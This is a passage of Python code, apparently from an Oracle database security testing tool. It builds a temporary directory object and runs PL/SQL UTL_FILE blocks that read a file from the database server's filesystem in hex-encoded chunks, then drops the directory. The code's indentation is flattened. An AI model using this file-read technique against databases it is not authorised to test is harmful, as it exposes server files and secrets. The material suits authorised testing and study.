self.__setDirectoryName__()
status = self.__createOrRemplaceDirectory__(remotePath)
if isinstance(status, Exception): return status
#Get data of the remote file
#UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 1000); UTL_FILE.FSEEK(l_fileID,0,{2}); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer,{2}) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;"
#UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(5000); hexdata VARCHAR2(10000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 5000); UTL_FILE.FSEEK(l_fileID,{2},0); UTL_FILE.GET_LINE(l_fileID, l_buffer, 5000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); UTL_FILE.fclose(l_fileID); END;"
UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer RAW(500); hexdata VARCHAR2(1000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 32767); UTL_FILE.FSEEK(l_fileID,{2},0); UTL_FILE.GET_RAW(l_fileID, l_buffer, 500); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); UTL_FILE.fclose(l_fileID); END;"
if self.getFileExist(remotePath, remoteNameFile) == True:
length = self.getLength(remotePath, remoteNameFile)
if length <= 0:
pass
else:
cursor = cx_Oracle.Cursor(self.args['dbcon'])
cursor.callproc("dbms_output.enable")
nbNewLine = 0
logging.debug(
"Reading the entire file ({0} bytes)...".format(length))
while currentByte + nbNewLine < length:
logging.debug(
"Reading 500 next bytes (max) from {0}...".format(
currentByte + nbNewLine))
try:
request = UTL_FILE_GET_FILE.format(
self.directoryName, remoteNameFile,
currentByte + nbNewLine)
if self.args['show_sql_requests'] == True:
logging.debug("Executing: {0}".format(request))
cursor.execute(request)
except Exception as e:
logging.info(
"Impossible to execute the query `{0}`: {1}".
format(UTL_FILE_GET_FILE, self.cleanError(e)))
self.__dropDirectory__()
return ErrorSQLRequest(e)
else:
statusVar = cursor.var(cx_Oracle.NUMBER)
lineVar = cursor.var(cx_Oracle.STRING)
while True:
cursor.callproc("dbms_output.get_line",
(lineVar, statusVar))
if statusVar.getvalue() != 0: break
line = lineVar.getvalue()
lineBytes = bytes.fromhex(line)
nbNewLine += lineBytes.count(b'\n')
data += lineBytes
currentByte += len(lineBytes)
logging.info(lineBytes)
currentByte += 0
cursor.close()
else:
data = False
self.__dropDirectory__()
return data
